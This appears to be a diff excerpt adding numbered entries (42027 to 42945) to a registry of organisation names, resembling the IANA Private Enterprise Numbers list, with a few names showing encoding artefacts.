+42027 Sanctum Networks (P) Ltd.
+42028 Arnel limited
+42029 Amigo Software
+42030 Ghost Software
+42031 42
+42032 swisspartners Investment Network AG
+42033 IslaLink
+42034 Intemo Technologies
+42035 Zedge
+42036 LOYTEC electronics GmbH
+42037 Stadt Augsburg
+42038 Sanquin Bloedvoorziening
+42039 Laboratoire Jacques Louis Lions
+42040 Nasuni Corporation
+42041 Vänerhamn AB
+42042 Inca Telecom S.A.C.
+42043 DingLi Communications Corp., Ltd.
+42044 GMQ Consulting AB
+42045 Logical Tools s.r.l.
+42046 DigitalSign - Certificação Digital Ltda
+42047 twis.la (Clement Martin)
+42048 Circle of Life Hospice
+42049 Achkey Ltd
+42050 China Security & Surveillance Technology,Inc.
+42051 Skyward Information System Co.,LTD.
+42052 vitapublic GmbH
+42053 MEDvision360
+42054 Stadler Bussnang AG
+42055 West Lothian Council
+42056 MultiToll Solutions SAS
+42057 Cegedim
+42058 Lomnido, s.r.o.
+42059 MED2020 Health Care Software Inc.
+42060 Egon Braun
+42061 SquareTwo Financial
+42062 CyberTransJapan Co., Ltd.
+42063 Guidoon SAS
+42064 Royse City ISD
+42065 Iberia
+42066 dbSpectra
+42067 Bayerische Staatsforsten AoeR
+42068 UBM Drecker GmbH
+42069 The Comptroller General’s Department
+42070 German Aerospace Center; Institute of Communications and Navigation
+42071 Sprecher Automation GmbH
+42072 Homes and Communities Agency
+42073 DatASE
+42074 Deltenna Limited
+42075 BAFO Technologies Corp
+42076 saltation GmbH & Co. KG
+42077 sRatio
+42078 Recursoft.org
+42079 Army Emergency Relief
+42080 Dajar
+42081 TravailPrive
+42082 Travis Perkins PLC
+42083 JS Networking Lab
+42084 Mike Mackintosh
+42085 Prolateral Consulting Ltd
+42086 Vossloh Cogifer
+42087 Business Insurance Direct
+42088 Legal & General Nederland
+42089 Rambler Internet Holding LLC
+42090 Aleat shpk
+42091 Tritech International Limited
+42092 Serttel LTDA
+42093 Expand
+42094 Bfabric.org
+42095 NII SOKB Ltd
+42096 IQnet Ltd
+42097 IT2u Czech s.r.o.
+42098 Fahrzeugsystemdaten GmbH
+42099 Smart Green Labs S.L.
+42100 DV Industrial Computer Ltd.
+42101 iTEL
+42102 Communications Audit UK Ltd
+42103 hmcw gmbh
+42104 wi2be Tecnologia S/A
+42105 WebControl
+42106 'MIGHTY APPARATUS FOR RADIOBRODCASTING AND TV" Joint-Stock Company
+42107 South Carolina Department of Revenue
+42108 HRSoftworks
+42109 Linux Based Systems Design, Ltd
+42110 API Digital Communications Group, LLC
+42111 Inovonics, Inc.
+42112 Kakapo Technologies Ltd.
+42113 STAsoft.net
+42114 Finnish Institute of Occupational Health
+42115 CommerceWest Bank
+42116 AIG
+42117 Oman Telecommunications Company (S.A.O.G)
+42118 IDentAcc
+42119 TRACT cjsc
+42120 Multimatic Inc.
+42121 Michigan Public Health Institute
+42122 Yurur
+42123 Shanghai Xinyou Information Technology Co., Ltd.
+42124 YN-IT
+42125 CK Engineering Ltd
+42126 NOVARCHIVE
+42127 SYMCOM INC
+42128 KUL Elektronik Teknolojileri Ltd.
+42129 Continental Graphics Corp
+42130 Skylink Technology Inc.
+42131 Westmont College
+42132 Applied Security GmbH
+42133 GoS Networks Ltd.
+42134 ScaleArc
+42135 TRUSTe
+42136 Ultra Electronics Airport Systems
+42137 Unipagos S. de R.L. de C.V.
+42138 Virtualmaster, s.r.o.
+42139 Internet Corporation for Assigned Names and Numbers
+42140 Bitfabrik GmbH & Co. KG
+42141 Laboratoire d'Informatique Paris Nord
+42142 The Faculty of Advocates
+42143 Moose Beast Software
+42144 cycos AG
+42145 PRIME Apparatus
+42146 EntobilSoft, Inc.
+42147 Pepperl+Fuchs SE
+42148 The Geneva Foundation
+42149 Cloud Life Software, LLC
+42150 AffiniInternational B.V.
+42151 Net Business Pty Ltd
+42152 Itransition
+42153 Chuden CTI Co.,Ltd.
+42154 oak3 GmbH
+42155 Evolution Racingteam Saar
+42156 NeoLab-Systems S.A.R.L.
+42157 CERTIFIRMA, SOCIEDAD ANONIMA
+42158 NetAgent Co., Ltd.
+42159 AT-Biotech Traceability Information Systems, S.L.U.
+42160 Iverdahl Systems
+42161 GIE AGIRC-ARRCO
+42162 NAKAYO ELECTRONICS CO.,LTD
+42163 EBS Service Company Limited
+42164 Ministério Público do RS
+42165 Pi-Coral Inc.
+42166 Saint Josephs Hospital, Yonkers
+42167 Data Tote
+42168 blackchair Ltd
+42169 The Coca-Cola Company
+42170 Tiger Computing Ltd.
+42171 Gravitate
+42172 Strencom
+42173 Adiczion SARL
+42174 ThiemoNet
+42175 REFER Telecom, S.A.
+42176 eBernd
+42177 Anuta Networks, Inc.
+42178 Nym Networks
+42179 Sonora Quest Laboratories
+42180 Kantonsspital Winterthur
+42181 Wavecom - Soluções Rádio S.A.
+42182 Speed and Function
+42183 Digitus Biometrics
+42184 ECG Management Consultants, Inc.
+42185 DEMTECH
+42186 National Cement Company, Inc.
+42187 Podomatic, Inc
+42188 MATRIXGROUP (CMS) PTY LTD
+42189 JRTwine Software, LLC
+42190 Genowise
+42191 TotalServe Pty Ltd
+42192 IDF Connect, Inc.
+42193 Alpha Networks S.A.
+42194 Matthews Midrange Consulting, Inc.
+42195 Tektorque, Lda
+42196 Cauldron Development LLC
+42197 Coffee Bean Software Pty Ltd
+42198 IO-Power Technology Co., Ltd.
+42199 Foothills Rural Telephone Cooperative Corporation Inc.
+42200 Ecil Informática Indústria e Comercio LTDA
+42201 Schenker, Inc.
+42202 FreeTel, s.r.o.
+42203 TRAÇOTOPÃZIO - INFORMÃTICA UNIPESSOAL LDA
+42204 Kumoya Network
+42205 Dooks Computer Services Ltd.
+42206 Proelse
+42207 Commission Scolaire de la Pointe-de-l'Ile
+42208 itecPlus GmbH
+42209 CharlesRead Dot Com
+42210 Beenius d.o.o.
+42211 SHENZHEN HUAXUNARK TECHNOLOGY Co. Ltd.
+42212 CareCenter Software GmbH
+42213 troydenton.ca
+42214 Kaplan Bilisim Teknolojileri Yazilim ve Ticaret Ltd.
+42215 Alerant Inc.
+42216 BlueCorner
+42217 Khoo Software Solutions
+42218 ValleyCare Health System
+42219 UniCredit Luxembourg S.A.
+42220 TELEDATA IT-Lösungen GmbH
+42221 Syl Research Limited
+42222 Integrated Systems Technology, Inc.
+42223 Archive Analytics Ltd
+42224 Fraunhofer Portugal Research Center for Assistive Information and Communication Solutions (Fraunhofer AICOS)
+42225 Amco Marketing
+42226 Evolve Media LLC
+42227 Max-Planck-Institut fuer Mikrostrukturphysik
+42228 Center Group
+42229 Coriant R&D GmbH
+42230 HiProCall GmbH
+42231 AlfaTrein Ltd
+42232 Fanzz
+42233 Sigma Designs Inc.
+42234 Knotice, Ltd.
+42235 Tresorit Kft.
+42236 RDT Ltd
+42237 Texas A&M University-Central Texas
+42238 Grenville Mutual Insurance Company
+42239 Aspira Networks, Inc
+42240 Keyano College
+42241 Geoquip Worldwide
+42242 znets
+42243 DLA Piper LLP (US)
+42244 ITS Express, Inc.
+42245 Tagged, Inc.
+42246 OnePIN, Inc.
+42247 Aleph01
+42248 SAIV
+42249 Claritech SRL
+42250 HFC Technics Ltd.
+42251 FutureTek, Inc.
+42252 Pflegeheim Alexander Beer GmbH & Co KG
+42253 Zalando GmbH
+42254 Inline Telecom Solutions
+42255 The All England Lawn Tennis Club (Championships) Limited
+42256 McGuireWoods LLP
+42257 Cambridge Major Laboratories, Inc.
+42258 ooblick.com
+42259 Green Energy Options Ltd
+42260 Bent Vector
+42261 Sayegh & John e-Trolley GbR
+42262 TechRede, LLC
+42263 Servas
+42264 Fabien Debuire
+42265 Thunder Software Technology Co., Ltd.
+42266 Otto (GmbH & Co KG)
+42267 SARL Mixcom
+42268 MEWA Textil-Service AG & Co. Management OHG
+42269 Rigspolitiet (Danish National Police)
+42270 Azienda Unita' Sanitaria Locale di Parma
+42271 Fixious Global Indonesia
+42272 Howard University Hospital
+42273 AMPER
+42274 Nexusguard Limited
+42275 Advanced MR Analytics AB
+42276 Infragear Inc
+42277 CSW.IO
+42278 Precitel SA
+42279 SensMaster S/B
+42280 SatExpander
+42281 InfoBridge Solutions
+42282 Pragmatix Services Private Limited
+42283 Berwick Area School District
+42284 Kai van Es
+42285 FCS Computer Systems Sdn Bhd
+42286 Connectem Inc.
+42287 UAP inc.
+42288 Sportech Inc.
+42289 NetTech Associates LLC
+42290 LLC Sysvisor
+42291 DWANGO MOBILE Co., Ltd.
+42292 SL Audio A/S
+42293 North-West Customs-Logistical Service Co. Ltd.
+42294 S. & A.S. Ltd.
+42295 imzadi.de Network
+42296 Impero Solutions Ltd
+42297 Fraunhofer-Institut fuer Kommunikation, Informationsverarbeitung und Ergonomie FKIE
+42298 Smoothwall Ltd
+42299 Johnson Financial Group
+42300 Ministère de la santé et des serveurs sociaux
+42301 turleyclan.com
+42302 Beijing ForEase Times Technology Co., Ltd.
+42303 TE-SYSTEMS GmbH
+42304 it & synergy GmbH
+42305 Lupus alpha Asset Management
+42306 CANARIE Inc.
+42307 Wildcard UK Ltd
+42308 IndexUniverse, LLC
+42309 Skale, Inc.
+42310 Matrix Switch Corporation
+42311 X-Centric Solutions
+42312 Hangzhou Zailing Electronic Technology Co., LTD
+42313 Synergy Tecnologia
+42314 D2D Technologies, LLC
+42315 Renew Group Private Limited
+42316 Pragmatech
+42317 inVentia
+42318 Recognition Technologies, Ltd
+42319 777 Technology Solutions Limited
+42320 Unassigned
+42321 Mother Lode Holding Company
+42322 TrakSystems
+42323 Demma
+42324 Powercode LLC
+42325 Dialight, Inc.
+42326 ICON Americas
+42327 IEEE Student Branch Passau
+42328 Nementis
+42329 ipowertec
+42330 Deltapath Commerce And Technology Limited
+42331 Polarlink
+42332 Vaillant Group
+42333 Aliter Technologies, a.s.
+42334 Relmek co., Ltd
+42335 iQ Consult Pty Ltd
+42336 ADITO Software GmbH
+42337 New York State Workers' Compensation Board
+42338 Anywhere.24 Technologies GmbH
+42339 Sabtech
+42340 Open Standard Digital-IF Interface
+42341 Tucson Airport Authority
+42342 Guangdong Cable Corporation Limited
+42343 James Hurley
+42344 Puli Space Technologies Ltd.
+42345 Fluidic, Inc., d/b/a Fluidic Energy
+42346 E-SIGN S.A.
+42347 Toyou Feiji Electronics Co., Ltd.
+42348 RUSNANO
+42349 Noack Group
+42350 Trebing & Himstedt Prozessautomation GmbH & Co. KG
+42351 Champs Libres SCRLFS
+42352 Hanweck Associates LLC
+42353 LottSpot
+42354 Trackprotect B.V.
+42355 ABCTec
+42356 Electronic Media Services Ltd
+42357 CHILLI MINT LABS LIMITED
+42358 IP2I
+42359 Versa Networks, Inc
+42360 Skybox Imaging, Inc.
+42361 rahont
+42362 spacefrogg.net
+42363 Dematis
+42364 Optoscape Optical Electronic Tech.Co.,Ltd
+42365 H & M Hennes & Mauritz AB
+42366 WxBR Wireless Broadband Soluctions
+42367 Gedomo GmbH
+42368 Azuru Networks
+42369 Softel ltd
+42370 ADRIATIC SLOVENICA d.d.
+42371 PA CSS (Pennsylvania eHealth Partnership Authority’s Community Shared Services)
+42372 Banterra
+42373 Kliniken des MTK GmbH
+42374 Inmar Enterprises
+42375 Unassigned
+42376 Riverbed Technology Labs GmbH (formerly 'Ocedo GmbH')
+42377 MBD Consulting, LLC
+42378 FOSS-Group GmbH
+42379 Danske Fragtmænd A/S
+42380 IDFocus
+42381 Human Brain Project
+42382 iSystems e.U.
+42383 Horizon Fuel Cell Technologies
+42384 Tecnologías Inteligentes y Modelación de Sistemas, S.A de C.V.
+42385 AIC Inc.
+42386 dylanharris.org
+42387 CompuTEK Industries
+42388 TEL-STER sp. z o.o.
+42389 Ital-Mec s.r.l.
+42390 Oslo KFUMs Sjøkorps
+42391 Eastern Informatics, Inc.
+42392 FOXTER Cia Imobiliária
+42393 Teledata Comunicaciones S.A.
+42394 Synapse
+42395 EPM
+42396 xsinfosol pvt ltd
+42397 Grandstream Networks, Inc.
+42398 KnCMiner AB
+42399 Garuda Permata Saputra, CV.
+42400 TD Tech Ltd.
+42401 CanTech s.r.o.
+42402 Spec S.A.
+42403 Ivane Javakhishvili Tbilisi State University
+42404 Vadacom Limited
+42405 Roambotics, Inc.
+42406 SATO Corporation
+42407 iGrid S.L.
+42408 HealthSafe24
+42409 TopMenu.com
+42410 Blue Denim Consulting Group Inc.
+42411 Niklaus Ltd.
+42412 Osorno Enterprises Inc.
+42413 PACSHealth, LLC
+42414 Cloudacc Interactive, Inc.
+42415 Prince Rupert Grain Ltd.
+42416 Software Engineering Center (SEC)
+42417 A2Zlogix
+42418 GovSource Pty Ltd
+42419 NICEUC Communication Tech CO., LTD
+42420 Hebei SICON-EMI Power System Co., Ltd.
+42421 OpenVox Ltd.
+42422 ALLWIN Network Corp.
+42423 Republic of Azerbaijan Ministry of Foreign Affairs
+42424 International Card Services BV (ICS)
+42425 Thiesen Hardware- & Software-Design GmbH
+42426 Institut Paul Bocuse
+42427 New York Community Bancorp
+42428 Bharti Airtel Limited
+42429 Hidden Authentication and Trust service
+42430 University of Massachusetts
+42431 Chelyabinsk palace of pioneers and pupils named after Krupskaya N.K.
+42432 lepassepresent.com
+42433 Parliamentary Commissioner for Administrative Investigations
+42434 BOMATEC AG
+42435 LEONHARD KURZ Stiftung & Co. KG
+42436 Ojsc NIAEP
+42437 Deltek, Inc.
+42438 Saratoga Speed Inc.
+42439 Stephan Seitz
+42440 IQ Devices
+42441 Uniscon universal identity control GmbH
+42442 Hochschule der Medien Stuttgart
+42443 Genesis Integration
+42444 Oriental Cambridge Education Group
+42445 InterASIA Solutions Inc.
+42446 Beijing Hesun Technologies Co.Ltd.
+42447 FreeSoft Nyrt.
+42448 Taisis Integration And Consulting Services sl
+42449 InvestLab Technology, LLC
+42450 Mutual Aid Labs, LLC
+42451 Rizotec
+42452 IRIS-RFID
+42453 Drawersteak Research
+42454 Funkring.net
+42455 FOBAS Consulting, Inc.
+42456 VM Farms
+42457 IDIEIKON
+42458 TigerLead Solutions
+42459 Esdenera Networks GmbH
+42460 SYS'TRONICS Co., Ltd.
+42461 Innosonix GmbH
+42462 David Ouagne
+42463 TLS Corp.
+42464 binarycube
+42465 Xerx Software Ltd
+42466 Kratos Defense and Security Solutions, Inc.
+42467 Lucipher
+42468 Jorge Cavallin
+42469 Infobahn SA
+42470 Voippartners s.r.l.
+42471 HOTCITY S.A.
+42472 SC-IT GmbH
+42473 Action Technology Ltd.
+42474 Toro Development Ltd.
+42475 Dewar Electronics Pty Ltd
+42476 Border 6
+42477 OneNeck IT Services Corporation
+42478 Proteus Sensor
+42479 Metropolitan Wireless International Pte Ltd
+42480 Grenland Data as
+42481 Teletronix
+42482 DocuSign, Inc.
+42483 Pioneer Bank
+42484 Ultrix Sistemas de Informação
+42485 Christian Scholz
+42486 Nuolezio
+42487 Shenzhen Philorise co.ltd.
+42488 Element d.o.o
+42489 Preferred Credit, Inc.
+42490 Intesi Group SpA
+42491 Racktop Systems
+42492 Far Bank Enterprises
+42493 City of Waukesha
+42494 Beckwith Electric Co. Inc
+42495 O2 Systems Limited
+42496 GlobalNaz IT
+42497 Brookhaven Retreat, LLC
+42498 Guenter Zimmermann
+42499 Orlov-Miller
+42500 Deoca Ltd.
+42501 Oto IT Limited
+42502 CellOS Software Limited
+42503 XJ Group Corporation
+42504 SOKRAT Ltd.
+42505 Denkovi Assembly Electronics LTD
+42506 Gostcomp Oliwer Godlewski
+42507 HeuleSoft
+42508 Shepherd Group Built Environment Information Systems (SGBE IS)
+42509 net4home GmbH
+42510 Cape Fear Valley Health System
+42511 maxrosin.com
+42512 Suchocki IT
+42513 Ymax Communications
+42514 SHENZHEN HXWK TECHNOLOGIES,CO LTD
+42515 Liberty Global Services B.V.
+42516 Orderman GmbH
+42517 Fundación Centro de Estudios de Física del Cosmos de Aragón
+42518 ZPE Systems, Inc
+42519 BrainLogical Software Development
+42520 LifeSafety Power, Inc.
+42521 Assystem France
+42522 Velin V. Pavlov
+42523 Leibniz-Institut fuer Analytische Wissenschaften -ISAS- e.V.
+42524 Townet srl
+42525 Werkbank Multimedia GmbH
+42526 elgris UG
+42527 WTG Technologies Ltd
+42528 Slovak Hydrometeorological Institute (SHMU)
+42529 New Jersey Office of Information Technology
+42530 SSQ Financial Group
+42531 Security Industry Association
+42532 Holysee Vatican Library
+42533 BIOVELA, UAB
+42534 CAFAT
+42535 ictjob
+42536 Hanover Displays Ltd.
+42537 SnmpStack
+42538 artnet world wide
+42539 Trumpet, Inc
+42540 Zimpel Events And Communications PTY Ltd.
+42541 My Telecom Holdings Pty Ltd
+42542 Voillo Solutions Ltd.
+42543 Simpson University
+42544 ALLENGERS GLOBAL HEALTHCARE PRIVATE LIMITED
+42545 CSC Telecom
+42546 tyntec GmbH
+42547 OrecX LLC
+42548 gloops, Inc.
+42549 F.S.P. Filofarm
+42550 SFS services AG
+42551 CRFS Limited
+42552 Hrvatski zavod za telemedicinu
+42553 TeknoUnit
+42554 Dynamic Quest, INC
+42555 Faculty of Information Technology and Applied Mathematics, BelSU
+42556 Visao Tecnologia em Transmissao de Dados Ltda
+42557 Unico Data AG
+42558 Canis Lupus LLC
+42559 AppEnsure
+42560 Kirovohrad Volodymyr Vynnychenko State Pedagogical University
+42561 ZAO "MD Project 2000"
+42562 Universidad Pública de Navarra (UPNA)
+42563 Kaleidescape, Inc.
+42564 KO4BB Electronics
+42565 Weirton Medical Center
+42566 ClearBearing, Inc.
+42567 David Spinella
+42568 Andreas Vavra
+42569 Miesepies
+42570 Independent Bank Corporation
+42571 Cybera, Inc
+42572 SAFELYLOCKED, LLC
+42573 Sun Nuclear Corporation
+42574 Sydestep Ltd
+42575 e-business-systems SARL
+42576 Linpow SRL
+42577 Crosspoint SRL Romania
+42578 Xcel Energy
+42579 sysmocom - systems for mobile communications GmbH
+42580 Statseeker
+42581 Regional Digital Telecommunication Company
+42582 Interlink Ltd.
+42583 DPII TELECOM & SERVICES
+42584 ROWA Group Holding GmbH
+42585 TRIKOM Ltd.
+42586 DAG System
+42587 Investigaciones Medicas S.A.
+42588 AGST Controles e Automação Ltda
+42589 Swifttrip LLC
+42590 AVB GmbH Wind Engineering
+42591 Forlani Impianti s.r.l.
+42592 TV 2/Danmark A/S
+42593 Gas Natural Informática, S.A.
+42594 Fox Technologies
+42595 Right Systems Inc
+42596 ATNet Services
+42597 Norberto Bensa - ENEABE
+42598 Tibero
+42599 NIPPON TELEGRAPH AND TELEPHONE WEST CORPORATION
+42600 Rejlers Oy
+42601 Sycada
+42602 Performr B.V.
+42603 Vorston
+42604 Springfield Technical Community College
+42605 PLC Power LLC
+42606 Urban-Software.de
+42607 Brekford International
+42608 Alan Seedhouse
+42609 Boundary, Inc.
+42610 Superior Power solutions (HK) Co.,Ltd
+42611 Valdrea, LLC
+42612 Koninklijke BAM Groep nv
+42613 POLYONE CORPORATION
+42614 Tribal Chicken Australia
+42615 eTRUST co., ltd.
+42616 Pannonia Technologies
+42617 Alphion India Private Limited
+42618 Kaaos Unlimited Oy
+42619 PRYSM SARL
+42620 Katalix Systems Ltd
+42621 Elecdan
+42622 Hernic Ferro Chrome Pty Ltd
+42623 Open Compute Project
+42624 Whatever s.a.
+42625 Technology Toolbox LLC
+42626 Blue Fire Capital
+42627 Vermont Department of Labor
+42628 Shenzhen HD Digital Tech Co., Ltd.
+42629 WaveNT Co.,Ltd.
+42630 Dona Ana County, New Mexico
+42631 Xellia Pharmaceuticals ApS
+42632 Kompanija Dunav Osiguranje a.d.o. Beograd
+42633 VOXXL
+42634 PSW GROUP GmbH & Co. KG
+42635 RudiNet Ltd.
+42636 SecuriPax
+42637 Cloudhouse Technologies
+42638 ARD-Sternpunkt
+42639 Cellcrypt Ltd
+42640 Derek Lambert (CrEOF)
+42641 Tri-State Generation and Transmission
+42642 Stage Entertainment
+42643 NetSavia SA
+42644 New Leaf Publishing Group, Inc.
+42645 Ros Vicente (ITComp)
+42646 Etherlive Ltd
+42647 Alliance Spacesystems, LLC
+42648 Blue Global Media
+42649 The LaSalle Technology Group
+42650 Parque Tecnológico Itaipu - Paraguay
+42651 willisss.com
+42652 Sichuan Bihong Broadcast&Television New Technologies Co.,Ltd
+42653 Netcloud AG
+42654 RCS & RDS SA
+42655 On the Cusp Ltd.
+42656 Clear-Com
+42657 Mixpo
+42658 Lakra Sintez Ltd.
+42659 Robert Maxwell Professional Consulting
+42660 Wildman & Morris
+42661 Asian Pacific Telecommunications
+42662 Wuerzburger Versorgungs- und Verkehrs-GmbH
+42663 Zhengwei-tech Co.,Ltd.
+42664 Iromedica AG
+42665 WIRD AG
+42666 Affiliated Managers Group, Inc.
+42667 Northwest Multiple Listing Service
+42668 ZIMT University of Siegen
+42669 HangZhou Chenxiao Technologies Co.,ltd
+42670 SICE Tecnología y Sistemas, S.A. (formerly 'Sociedad Ibérica de Construcciones Eléctricas, S.A.')
+42671 Pinetron Co.,Ltd
+42672 G. X. Clarke & Co.
+42673 SAIC, Inc.
+42674 TVH Group NV
+42675 Comité Permanent des Médecins Européens
+42676 Servergy, Inc
+42677 Altertech s.r.o.
+42678 Lakra Sibir Ltd.
+42679 cne.at
+42680 Randstad España, S.L.
+42681 Freeport of Riga Authority
+42682 Cyviz AS
+42683 Telematix AG (formerly 'Trans Data Management (TDM)')
+42684 Bump Networks, Inc.
+42685 Benjamin Huepeden IT
+42686 Siempelkamp Maschinen- und Anlagenbau GmbH & Co. KG
+42687 Meridian Health System
+42688 STABILO International GmbH
+42689 Southern Methodist University
+42690 nGeniux LLC
+42691 Australia and New Zealand Banking Group Limited
+42692 Philotech
+42693 AcroRed Technologies, Inc.
+42694 LoopPay, Inc.
+42695 Beijing QTS Networks Technologies Co., Ltd
+42696 Indian Hotels Company Limited
+42697 Activsolar
+42698 Qualitis Kft.
+42699 Dorwin Enterprises
+42700 ESP Credit Management
+42701 thepickle.com, Inc.
+42702 Altairis, s. r. o.
+42703 Locatrix Communications
+42704 Marco Displays
+42705 HVR Software
+42706 Ministry of Internal Affairs - Kosova
+42707 Corvinus University of Budapest
+42708 Teachers Assurance
+42709 CarWoo! Inc.
+42710 Designs for Health, Inc.
+42711 MEIRYO DENSHI CORPORATION
+42712 Hanvit SI, Inc.
+42713 HPS ICT&Mobile Solutions
+42714 Beijing Joy and Success Technology Co., Ltd.
+42715 tanum consult GmbH
+42716 LzLabs GmbH
+42717 Prefeitura Municipal de Cachoeirinha - RS - Brasil
+42718 Vema, a.s.
+42719 CyberFX, Inc.
+42720 Bilgibim Bilgisayar Teknolojileri
+42721 Teck Resources Limited
+42722 Miraj Technology and Consulting Corporation
+42723 Shouting Ground Technologies, Inc.
+42724 Kernel Electronics Co Ltd
+42725 Institut Teknologi Sepuluh Nopember
+42726 ArcSoft Hangzhou CO.,LTD.
+42727 X-Company Pty Ltd
+42728 Tomaxx GmbH
+42729 Private Iron and Steel Joint Stock Company "Donetsksteel"
+42730 Croda International Plc
+42731 Statkraft SF
+42732 Southern Power Systems, Inc.
+42733 FSMLabs
+42734 Nextmove Technologies
+42735 dParadig
+42736 Haus der Barmherzigkeit
+42737 Zends
+42738 Vivint Wireless
+42739 Veolia Water Solutions & Technologies
+42740 MaerdnGaming GbR
+42741 Nanjing Dong Xun Information Technology Co., Ltd.
+42742 Winix Solutions LLC
+42743 Niederösterreichische Gebietskrankenkasse
+42744 Falabella
+42745 Jamdeo
+42746 InterNetX GmbH
+42747 Kik Interactive
+42748 MyOrg.at (Johannes Hackl)
+42749 Utilidata, Inc
+42750 Umbrella ID
+42751 Neowatt Energy Solutions Co. Pvt. Ltd.
+42752 AMEDTEC Medizintechnik Aue GmbH
+42753 University of The Philippines Los Baños
+42754 Enel Energy Electronic
+42755 ATON GmbH
+42756 Purdue Research Foundation
+42757 Encana Corporation
+42758 C4B Com For Business AG
+42759 Practicom B.V.
+42760 PHOENIX PHARMA
+42761 Imavis srl
+42762 ipex telecom LLC
+42763 ShangHai Jeelan Information Technology Inc.
+42764 Smith College
+42765 Muzeum Historii Zydow Polskich Polin
+42766 Typomedia Foundation
+42767 Queensland Motorways Limited
+42768 Marcelo Leal
+42769 Supermathie Networks
+42770 Totalpost Services PLC
+42771 DGQoS
+42772 Galkam PTY LTD
+42773 Transport for London
+42774 Semtech Corporation
+42775 Linx ICT Solutions
+42776 one2many BV
+42777 Gosuncn Technology Group Co., Ltd
+42778 Michael Offel (mflour.com)
+42779 CJSC "NORSI-TRANS"
+42780 SEB DEVELOPPEMENT SAS
+42781 Bragg Communications Inc.
+42782 Ekrompt, JSC
+42783 workvslife.com
+42784 Pinnacle Foods Group, LLC
+42785 Syntaxjockey
+42786 CNS Engineering
+42787 Concentric Sky
+42788 artec technologies AG
+42789 SynQor, Inc.
+42790 Rebasoft
+42791 Geo-Comm, Inc.
+42792 Near East University
+42793 IntCache Technology Co.,Ltd
+42794 LEX Media Concepts SRL
+42795 mrByte Tech Solutions
+42796 IQ Solutions S.A.
+42797 Freie ArbeiterInnen Union
+42798 HUENGSBERG AG
+42799 Alfstore
+42800 Co-Nexus Communications Systems, Inc.
+42801 Essai Inc
+42802 Rigel Engineering
+42803 Valialsoft LLC
+42804 New Singularity International Technical Development Co.,Ltd.
+42805 Cloudy IT
+42806 WINFO Corp.
+42807 City West Country Ltd
+42808 Arachnid Labs Ltd
+42809 netbreaker IT-Service
+42810 Telesis, S.A. de C.V.
+42811 Enyx
+42812 ISD Dunaferr Co. Ltd.
+42813 Polskie Sieci Elektroenergetyczne S.A.
+42814 Inveo
+42815 Tussa IKT AS
+42816 HACENTER
+42817 IBM Platform Firmware Division
+42818 Relative Variable Software
+42819 Carante Groep
+42820 Techsun
+42821 ACXIO
+42822 Tesc
+42823 Spilsby Internet Solutions
+42824 Web.Cloud.Apps. GmbH
+42825 vArmour Networks
+42826 ChengDu Network Security Technology Corporation
+42827 rm-netproject UG (haftungsbeschränkt)
+42828 US Army Electronic Provings Ground (USAEPG) Instrumentation Management System (IMS)
+42829 QuartzDesk.com
+42830 Landis+Gyr
+42831 Kickass Systems
+42832 Tata Institute Fundamental Research
+42833 Nimbus Technologieberatung GmbH
+42834 TechniData IT-Service GmbH
+42835 ZELITRON SA
+42836 eXtreme IT Development
+42837 Westpac New Zealand Ltd
+42838 FAST DISTRIBUTED CLOUD COMPUTING INC.,
+42839 Tactical Communications Corporation
+42840 Reporo
+42841 Kraftanlagen Muenchen GmbH
+42842 iQSpot
+42843 TWIN Engineering S.r.l.
+42844 SPI GmbH
+42845 TOKYO SYSTEM HOUSE Co., Ltd.
+42846 Corhoma SRL
+42847 2H Offshore Engineering Ltd
+42848 NETIXIA
+42849 Fabrecode
+42850 LocalTV LLC of Alabama
+42851 Fidelity Voice Services
+42852 Bank Gospodarstwa Krajowego
+42853 DunnCox
+42854 EMPRESA DE TECNOLOGIA DA INFORMAÇÃO E COMUNICAÇÃO DO MUNICÃPIO DE SÃO PAULO
+42855 techsoup.net
+42856 Kreis Warendorf
+42857 Family Madera of Switzerland
+42858 Linux Szerver Kft.
+42859 Shanghai SHR Automation Co.,Ltd
+42860 Asul IT Consulting LLP
+42861 Ophylink Communication Technology Co., Ltd.
+42862 AITA-Soft
+42863 IOS Health Systems
+42864 Mobius Embedded Systems Ltd
+42865 Hoza Logistic Solutions
+42866 Frontend.biz GmbH
+42867 BestSolution.at
+42868 Association of American Railroads
+42869 UNE EPM Telecomunicaciones S.A.
+42870 Unither Manufacturing LLC
+42871 IMRIS
+42872 Unomaly AB
+42873 Comune di Ascoli Piceno
+42874 Hospedia Ltd
+42875 ACISA
+42876 SGSITES Technologies
+42877 Sundvor
+42878 Credit-Moscow Bank
+42879 Sielaff GmbH & Co. KG
+42880 Uwe Disch
+42881 No Limit Network
+42882 Jiangsu Fablesoft Co.,Ltd
+42883 CARC (C-DOT Alcatel-Lucent Research Centre Pvt Ltd)
+42884 Anderson Morgan Kelowna Inc.
+42885 S P I R I T - informaÄné systémy, a.s.
+42886 InMotion Hosting
+42887 One Call Now
+42888 Canadian Museum for Human Rights
+42889 IO Data Centers, LLC
+42890 Renkus Heinz Incorporated
+42891 Santechkomplekt Ltd.
+42892 TOYGA
+42893 Funkfeuer Wien - Verein zur Förderung freier Netze
+42894 CAROL JEANNE MACK CORPORATION
+42895 Securiton GmbH
+42896 The O'Gara Group
+42897 Evan Edstrom
+42898 IM Service Lab Srl
+42899 kiloWattsol
+42900 Elcom Innovations Private Limited
+42901 Chaos Computer Club Cologne
+42902 J.R. Torralba
+42903 IT Innovations Ukraine LLC
+42904 Nemik Consulting Inc
+42905 Trihedral Engineering Ltd.
+42906 Shift Workforce Management
+42907 PLUTEX GmbH
+42908 Megadevices
+42909 Tver State University
+42910 latticeware.com
+42911 Metiri Systems, LLC
+42912 locate solution GmbH
+42913 Exatech bv
+42914 Wimsey
+42915 MCATSYSTEMS LLC
+42916 Arcerm
+42917 Adcubum AG
+42918 Trafigura
+42919 Max-Planck-Institut fuer Astrophysik
+42920 Slaughter and May
+42921 Dropbox, Inc.
+42922 Ministarstvo odbrane Republike Srbije
+42923 Stefan Ebert
+42924 The Molecule
+42925 SYLEB SARL
+42926 NSC Communications Siberia Ltd
+42927 Fidelio Cruise Software
+42928 Galleon Systems Ltd
+42929 securedeviceaccess.com
+42930 GEKO.NET di Mena Giuseppe
+42931 Vladimir Mihajlović pr, raÄunarsko programiranje, METACODE, Beograd
+42932 Infolink Global
+42933 iArtemis
+42934 APRS World, LLC
+42935 Axcelera
+42936 Anhui Telehome Digital Technology Co. Ltd
+42937 VP (Video Privacy) Forum
+42938 Moviri S.p.a.
+42939 Applied Informatics for Health Society
+42940 City of Smyrna
+42941 2XWIRELESS, INC
+42942 kayzan
+42943 CopperPoint Mutual Insurance Company
+42944 Seenov Inc.
+42945 Seeser Datentechnik
